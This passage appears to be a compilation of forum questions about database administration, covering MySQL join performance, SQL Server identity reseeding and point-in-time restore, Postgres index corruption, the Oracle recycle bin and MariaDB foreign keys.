    HAVING sum(a.bestand) != 0 OR (a.nos = "ja" AND a.nos_anzeige = "ja")
</cfquery>

The pricelist table contains cols

 ILN/SellerID   EAN    Currency   Price  Name_pricelist

So for products from sellers, which have a pricelist which is assigned to the user, I also need to select the pricelist price and currency to have these available once I build the result set.

Question:
How can I speed up the search. I need to run it a lot, so 50sec is out of the quesiton, when using pricelists.

I'm not sure I really need a LEFT JOIN at all, when I'm only selecting prices from the other table on matching criteria and do not want to add any records from B to the selection, because they then will be in there twice.

I have been told indexing would be a possibility but since I'm in my first month of MySQL I'm not really sure where to start. Avoiding the LEFT JOIN altogether would be nice.

So, thanks for any tips you can provide!

EDIT:
Ok, I EXPLAINED the query. This is what I get and what doesn't tell me

id   select table type  possible_keys key      key_len ref     rows    extra
1    simple   a    ref    i_aktiv     i_aktiv  7       const   13001   using where/temp/filesort
1    simple   p    all    NULL        NULL     NULL    NULL    22799
1    simple   zu   index  NULL        primary  52      NULL    53      using index

The 2nd entry is my LEFT JOIN in question. Can someone shed some light on what this means?


texts: Get the Text of the currently running SQL?

texts:
This is something I am just interested in knowing if it is possible.

Could I write an SQL query that could return the text of itself as a variable?

Where I might use this would be on things like reports that I might want to return a variable that saves the actual query that ran to generate the report, or as a debugging tool.

I have seen there is:

sys.dm_exec_text_query_plan

that would return the text of the query but can't see an easy way to always get the currently executing queries ID to link back to this table.

Has anyone ever written something to do something like this?

I am using SQL Server 2008, 2012 and 2014.


texts:
Sometimes, when doing an update on a specific table record, i get this error:

index "myIndexName" contains corrupted page at block 468
Please REINDEX it.

But on the next update it works, without having to do a reindex.
What can cause this issue? Is there a way to prevent this error?

This index is only there to speed up performance on queries, but i'm seriously wanting to drop it to prevent information loss if i can't find a solution.

My postgres version is 9.3.9


texts: How can I modify a trigger at subscribers SQL Server 2005?

texts:
I have a SQL Server 2005 publisher with SQL Server 2005 subscribers and one SQL Server 2000 subscriber running merge replication.

Is there any way to modify triggers at a subscriber with the replicating schema changes set to false (replicate_ddl = 0) without reinitializing the whole publication?

A solution where the triggers are only modified on the SQL Server 2005 databases is fine.


texts: Dropped table not showing up in recycle bin

texts:
I tried dropping a table and then when i viewed the recycle bin nothing was there in it . Earlier too i dropped tables many a times but I was surprised to find no objects whatsover in it .
What's the deal ?
[update]:
i had tried
   SHOW PARAMETER RECYCLEBIN;

Its VALUE column shows it  as ON . So fine here !
Then i droppped an existing table but still
the command
    Select object_name from recyclebin;

and any such retrieval of columns is showing NO ROWS SELECTED !!
Also using flashback command  confirms that recyclebin is not having any such dropped tables !!
So where are dropped tables going ?
And one more thing :
This time i tried using
 ALTER SYSTEM SET RECYCLEBIN=ON;

Instead of Alter session    and sqlplus throws an error :
Specified initialization parameter is not modifiable with this option
So, is this because  that i am working as a SYSTEM ??
i have not created any other USER as of now .


texts:
Guru hints don't work on my pgAdmin (1.18.1) - no hint was ever shown, "Hints" item in "Help" menu is grey and even though I can set options for the hints, the changes won't save - when I open "Options" the next time, both fields are unchecked again. I ran the installer again to "repair" the install, but the hints are still not working.

So how to enable the hints?


texts: How can I ONLY get the query execution time on the command line without waiting till the data is displayed?

texts:
I am testing and comparing execution times of queries with big result sets using the command line.

It takes too long to display the result set! Is there any way to see only the query execution time without waiting till all of the result set is displayed?


texts: SQL Server agent error on a the mirror database

texts:
I configured mirroring on one of my databases. The database is in a SQL Server cluster.

The mirroring is working great, but all the jobs that set to run fail.

The error is:

  Date      9/10/2015 8:00:00 AM Log        SQL Server Agent (Current - 9/9/2015
  8:00:00 AM)

  Message [165] ODBC Error: 0, Connecting to a mirrored SQL Server
  instance using the MultiSubnetFailover connection option is not
  supported. [SQLSTATE IMH01]

What to do? Why is it happening?


texts:
Does anyone use netapp's sql snapmanager?  We are in the process of trying to decide if it is right for us.  I know of the more popular features, but am trying to get some real life experience stories.  Can anyone answer the following:

What problems are you having?
How has it helped in ways you didn't expect?
Can you offer any advice for or against using it?
Was configuring more difficult than expected?
How has your maintenance on Sql changed?

I'm also interested in finding out how quickly they support the new versions of sql, I will try to find that on netapp's site, but if you have any information, that would be great.

Any thoughts are appreciated.


texts: SSAS MD dimension joins to same table twice (but processing fails as attribute has 2 names for same ID)

texts:
My cube has a product dimension, and each product has an "availability" status attribute. In the database, SellableItemAvailabilityId in DimSellableItemVersion (which contains products) joins to Id in SellableItemAvailability (which contains the statuses). See the image below for the tables used in the dimension.

Each product also has a parent product. These are not the same as the products mentioned above (this is not an SSAS parent-child relationship) - think of them as ways to group related products together (e.g. a product style that comes in a number of colours & sizes).

Each parent product also has an "availability" status attribute. In the database, SellableItemAvailabilityId in SellableItemParent (which contains parent products) joins to Id in SellableItemAvailability.

Because of the foreign keys between the tables, the DSV automatically makes the relationships as seen in the image below.

I defined the Product Availability attribute (i.e. the availability of products) with:

Key=DimSellableItemVersion.SellableItemAvailabilityId
Name=SellableItemAvailability.StatusName

However processing fails due to the attribute having more than 1 name for the same key. I guess this might be due to products where the parent product has a different availability to the products inside it. If the relationship between SellableItemParent and SellableItemAvailability is deleted from the DSV, processing succeeds.

I want to keep the relationship between SellableItemParent and SellableItemAvailability so I can add a "parent product availability" attribute to the dimension. What do I need to do to make this work?


texts: How to Select Average from many Column with extrawhere from all Column?

texts:
This Query is Simple, but I still don't know to handle it.

  I must Select Average From Many Column But Only Column with Integer
  Value.

like this

SELECT AVG(SET_O_1A) AS SET_O_1A,
       AVG(REAL_O_1A) AS REAL_O_1A,
       AVG(SET_O_1B) AS SET_O_1B,

       AVG(REAL_O_1B) AS REAL_O_1B,
       AVG(SET_PRE_1A) AS SET_PRE_1A,

       AVG(REAL_PRE_1A) AS REAL_PRE_1A,
       AVG(SET_PRE_1B) AS SET_PRE_1B,

       AVG(REAL_PRE_1B) AS REAL_PRE_1B,
       AVG(SET_O_2A) AS SET_O_2A,

       AVG(REAL_O_2A) AS REAL_O_2A,
       AVG(SET_O_2B) AS SET_O_2B,

       AVG(REAL_O_2B) AS REAL_O_2B

        FROM table
        WHERE ALL column > 0;

How to Fix Problem like this?

I have try like this but still not working

SELECT * FROM (SELECT AVG(SET_O_1A) AS SET_O_1A,
           AVG(REAL_O_1A) AS REAL_O_1A,
           AVG(SET_O_1B) AS SET_O_1B,

           AVG(REAL_O_1B) AS REAL_O_1B,
           AVG(SET_PRE_1A) AS SET_PRE_1A,

           AVG(REAL_PRE_1A) AS REAL_PRE_1A,
           AVG(SET_PRE_1B) AS SET_PRE_1B,

           AVG(REAL_PRE_1B) AS REAL_PRE_1B,
           AVG(SET_O_2A) AS SET_O_2A,

           AVG(REAL_O_2A) AS REAL_O_2A,
           AVG(SET_O_2B) AS SET_O_2B,

           AVG(REAL_O_2B) AS REAL_O_2B

            FROM table) as ORI
            WHERE ORI > 0;

Can Anyone help this?
Thanks in Advance

Tabel like this

ID   |  ph  |  ph2
========================
 1   | 10    |  20
 2   | NA    |  20
 3   | 11    |  10

and I Hope the result like this

ID   |  ph  |  ph2
========================
 1   | 10.5 |  16.67

so The query only average column with number only.


texts: LOAD DATA INFILE NULL are enclosed not loaded

texts:
I have a CSV file that I exported from Oracle database. All the integer columns are not enclosed, but all the string columns are enclosed with "
I'm using MySQL 8. So I used the following command to import that file.
Mysql Table schema:
CREATE TABLE M_2 (
ID DECIMAL(19,0) NOT NULL,
CO1 VARCHAR(1) NOT NULL,
CO2 VARCHAR(200) DEFAULT NULL,
CO3 VARCHAR(200) DEFAULT NULL,
CO4 VARCHAR(200) DEFAULT NULL,
CO5 VARCHAR(200) NOT NULL,
CO6 VARCHAR(200) DEFAULT NULL,
CO7 VARCHAR(200) DEFAULT NULL
);

Sample CSV data:
4914,"D","CA08196_BPB","PB","CA0836","L0810","",""
4936,"D","CA08194_KA1L","1L","CA0584","L0851","",""
4971,"D","CA08191_KA2","K2","CA0841","L0815","",""
4985,"D","CA08191_BPB","BB","CA0861","L0818","",""

Load command:
 load data   infile '/var/lib/mysql-files/M_2.csv'
into table M_2
fields terminated by ','
 OPTIONALLY ENCLOSED BY '"'
lines terminated by '\n'
IGNORE 1 LINES ;

Warnings in loading:
 Warning
ERROR CODE: 1287
'COM_FIELD_LIST' is deprecated and will be removed in a future release. Please use SHOW COLUMNS FROM statement instead

But it didn't consider the NULL Values in ,""  it loaded the next row into the next column.
After importing:


texts: Restore all IDENTITY seeds (out of sync since database restore)

texts:
We have recently done a full restore on a database from a backup (schema & data).

When trying to insert new rows we are getting the "Cannot insert duplicate key in object" error message, it is trying to insert duplicate keys into an identity column. We are not manually specifying the values for those columns.

We can fix the issue for a specific table by running

DBCC CHECKIDENT ('Table', RESEED, 10);

(changing 10 to be the next available identity value)

However, this issue appears to affect every single table on the whole database. (We use identity PK columns on every table)

Do you know

a) What might have caused this to happen in the first place?

b) If there is an easy way to reseed all tables to use the next available identity value.


texts: Why is my transaction file growing when db is in simple mode and there are no waiting transactions

texts:
I noticed that my database log file has reached 160GBs. My database is in simple recovery mode and I used the following query to see if there are any waiting transactions.

SELECT d.name,d.log_reuse_wait,d.log_reuse_wait_desc
FROM sys.databases d

It returned log_reuse_wait 0 and description 'NOTHING'.
Why is my transaction log growing then?


texts: Joining WordPress Comments with Post Titles from MySQL DB

texts:
I'm working with a wordpress database and need to get some data on the comments.

The goal is to get comments from a decommissioned site.  I have the database running on my local system and can generate a report from the wp_comments table easy enough.  That table has a column named 'comment_post_id' which is a direct correlation to the ID column in the wp_posts table.

I've dumped both from mysql into excel and done a vlookup from the comments table into the posts table to get the desired report.

While the dump->excel process works, I know this could probably be done with a query in mysql.

My first crack at it fails:

SELECT * FROM 'wp_posts' WHERE ('wp_comments.comment_post_id' = 'wp_posts.id');

and doesn't even include a join yet.

Can you provide any pointers or tips on getting a correct query?

Thank you.


texts: Check if value exists in postgres text column

texts:
I have a direct_selector column

        direct_selector
----------------------------------------------
 a:2:{i:0;s:7:"transit";i:1;s:9:"departure";}
 a:1:{i:0;s:9:"departure";}
 a:1:{i:0;s:7:"arrival";}

select *
from disc_agent
where direct_selector = ANY('{"departure"}');

This query gives me nothing
When I try

select *
from disc_agent
where '"departure"' = ANY(direct_selector);

It gives me an error

  ERROR: op ANY/ALL (array) requires array on right side

So what I should do to check if value exists?


texts: Strange SQL 2008 R2 Sp3 Ent behavior - redistribute data across multiple files

texts:
I’ve got a 5TB database (Database_PROD) in one data file (1,5 TB of empty space in it). Installed some time ago by someone on SQL Server 2008 R2 SP3 Enterprise. Database contains 2726 tables and 5399 indexes. All data files are stored in on PRIMARY / Default file group. I’ve added 3 additional files to improve the performance (set each of them to 1/4 of the total database size with no auto-growth enabled). When I tried to empty the main file (3/4 of it's data) and redistribute the data into the 3 additional files after 7 hours almost no data has been redistributed and script is working without any significant progress (screen in the comments) I tried the process on the small 1 GB database and it works smooth without any issues.

Script which I run to empty the 3/4 of the main file into the 3 additional files is:

DBCC SHRINKFILE (Database_PROD, EMPTYFILE);

Could you give me some suggestion what the issue could be ?
Maybe I should shrink the original data file to remove the empty space first ? Other option is to upgrade the SQL to the newer supported version e.g. SQL 2019.


texts: Download SSIS packages used in SQL jobs for migration

texts:
We need to migrate approx 100 SSIS jobs currently on SQL Server 2008R2 to 2012/14/16

How can I download these SSIS packages and later use them while moving jobs on new servers?

Please suggest

Update@

I tried using dtuitil but the problem 7 out of 10 packages failes with below error

  Could not load package "\njnbsscncsc " because of error 0xC001 1008.
  Description: Error loading from XML. No further detailed error information can be specified for this problem because no Events object was passed where detailed error information can be stored.


texts: Why does this ALTER TABLE ADD FOREIGN KEY query create two foreign key constraints

texts:
I am attempting to add a foreign key constraint to existing tables via an ALTER TABLE statement:

CREATE TABLE `blog` (
  `blogid` int(11) NOT NULL AUTO_INCREMENT,
  `deptid` int(11) NOT NULL DEFAULT '-1',
  `name` varchar(255) NOT NULL DEFAULT '',
  PRIMARY KEY (`blogid`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8;

CREATE TABLE `dept` (
  `did` int(11) NOT NULL AUTO_INCREMENT,
  `title` varchar(50) NOT NULL DEFAULT '',
  PRIMARY KEY (`did`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8;

ALTER TABLE blog
ADD CONSTRAINT blog_deptid_ibfk_dept
FOREIGN KEY (deptid) REFERENCES dept (did);

The query runs without error but it creates two foreign key constraints and not just one:

CREATE TABLE `blog` (
  `blogid` int(11) NOT NULL AUTO_INCREMENT,
  `deptid` int(11) NOT NULL DEFAULT '-1',
  `name` varchar(255) NOT NULL DEFAULT '',
  PRIMARY KEY (`blogid`),
  KEY `blog_deptid_ibfk_dept` (`deptid`),
  CONSTRAINT `blog_deptid_ibfk_dept` FOREIGN KEY (`deptid`) REFERENCES `dept` (`did`),
  CONSTRAINT `blog_ibfk_dept` FOREIGN KEY (`deptid`) REFERENCES `dept` (`did`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8;

I'm using MariaDB 5.5[.33a]. I have tested this on MySQL 5.5.32 using SQL Fiddle and the results are the same.

Interestingly, ALTER TABLE blog DROP FOREIGN KEY blog_ibfk_dept; results in both constraints being dropped, but ALTER TABLE blog DROP FOREIGN KEY blog_deptid_ibfk_dept; results in only that one constraint being dropped.

I cannot for the life of me figure out why two constraints are being created. Can someone explain on this unexpected behavior?


texts:
https://habr.com/en/company/postgrespro/blog/467437/  gives the following example of a Lost Update:

  For example, two transactions are going to increase the amount on the same account by ₽100 (₽ is the currency sign for Russian rouble). The first transaction reads the current value (₽1000) and then the second transaction reads the same value. The first transaction increases the amount (this gives ₽1100) and writes this value. The second transaction acts the same way: it gets the same ₽1100 and writes this value. As a result, the customer lost ₽100

I read this a few times. But I don’t understand how the customer lost P100. Please explain.


texts: Restoring to specific point in time in SQL Server

texts:
EDIT: The problem turned out to be that while backups are made every night, I was trying to restore to a point in time that had not yet been backed up.  I would have realized this sooner if I were scripting the restore, but because I was using the GUI it simply chose the most recent log file and didn't bother to notify me that the chosen log file didn't actually contain the point in time I was specifying.

After I made a current backup of the db and transaction log then it worked perfectly.

Having said that, I still don't understand how the record with time of '2013-11-27 12:52:08.240' was restored in the scenario described below.  But for now I'll just chalk that up to being something screwy with the application recording an incorrect time.

I am once again befuddled by SQL Server's (in?)ability to restore to a specific point in time.

Sometimes when I've tried this in the past it would seem that SQL Server restored to a point in time near where I asked it to but not quite where I specified.  I chalked this up to being a misunderstanding on my end since I know the dates recorded in the database originate in the application and therefore may vary ever so slightly from the time that the records are actually written.  The variances were actually a little more than 'slight', but this is still the best explanation I could come up with.

Around 12:55pm today I restored a database back 30 minutes to 12:25pm.  Now when I do a query on the log and sort by date/time I see a record with a date of '2013-11-26 18:21:49.200' followed immediately by a record with a date of '2013-11-27 12:52:08.240' right next to each other.

So my first observation is that all of the records from the beginning of today up to the time I restored to (12:25pm) are not there.  My second observation is that there is a single record at 12:52pm which is 27 minutes AFTER the time I tried to restore to (way, way to large for a slight variance in time between when the application picked a time and when the record actually got written).

Has anyone else run into this?  I have no clue why this would be happening and would appreciate any help in figuring out how to backup my databases in a way that they will properly be restored to a point in time when I need to since this is the whole reason I switched to using the Full Recovery model for backups.